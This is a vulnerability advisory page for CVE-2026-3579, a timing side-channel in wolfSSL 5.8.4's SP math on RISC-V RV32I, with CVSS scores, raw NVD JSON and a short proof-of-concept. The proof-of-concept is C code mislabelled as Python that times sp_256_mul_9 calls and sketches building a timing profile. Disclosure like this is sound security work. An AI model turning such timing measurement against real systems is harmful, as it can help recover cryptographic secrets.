Security Vulnerability Report
中文
CVE-2026-3579 CVSS 5.9 MEDIUM

CVE-2026-3579

Published: 2026-03-19 20:16:14
Last Modified: 2026-03-23 18:56:42

Description

wolfSSL 5.8.4 on RISC-V RV32I architectures lacks a constant-time software implementation for 64-bit multiplication. The compiler-inserted __muldi3 subroutine executes in variable time based on operand values. This affects multiple SP math functions (sp_256_mul_9, sp_256_sqr_9, etc.), leading to a timing side-channel that may expose sensitive cryptographic data.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:5.8.4:*:*:*:*:*:*:* - VULNERABLE
wolfSSL 5.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdint.h> #include <time.h> // Mocking the vulnerable function context based on CVE description // This PoC demonstrates the concept of measuring timing variance extern void sp_256_mul_9(uint32_t *r, const uint32_t *a, const uint32_t *b); int main() { uint32_t a[9], b[9], r[9]; struct timespec start, end; long long elapsed_ns; // Initialize values to trigger specific paths in __muldi3 // Different bit patterns may result in variable execution time for(int i=0; i<9; i++) a[i] = 0xFFFFFFFF; for(int i=0; i<9; i++) b[i] = 0x00000001; // Measure execution time loop clock_gettime(CLOCK_MONOTONIC, &start); for(volatile int i=0; i<1000; i++) { sp_256_mul_9(r, a, b); } clock_gettime(CLOCK_MONOTONIC, &end); elapsed_ns = (end.tv_sec - start.tv_sec) * 1000000000LL + (end.tv_nsec - start.tv_nsec); printf("Execution time: %lld ns\n", elapsed_ns); // In a real attack, repeat with varied inputs to build a timing profile return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3579", "sourceIdentifier": "[email protected]", "published": "2026-03-19T20:16:14.300", "lastModified": "2026-03-23T18:56:41.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wolfSSL 5.8.4 on RISC-V RV32I architectures lacks a constant-time software implementation for 64-bit multiplication. The compiler-inserted __muldi3 subroutine executes in variable time based on operand values. This affects multiple SP math functions (sp_256_mul_9, sp_256_sqr_9, etc.), leading to a timing side-channel that may expose sensitive cryptographic data."}, {"lang": "es", "value": "wolfSSL 5.8.4 en arquitecturas RISC-V RV32I carece de una implementación de software de tiempo constante para la multiplicación de 64 bits. La subrutina __muldi3, insertada por el compilador, se ejecuta en tiempo variable según los valores de los operandos. Esto afecta a múltiples funciones matemáticas SP (sp_256_mul_9, sp_256_sqr_9, etc.), lo que lleva a un canal lateral de temporización que puede exponer datos criptográficos sensibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:5.8.4:*:*:*:*:*:*:*", "matchCriteriaId": "12A2E398-A7F0-4751-887C-32C7D81213E7"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9855", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}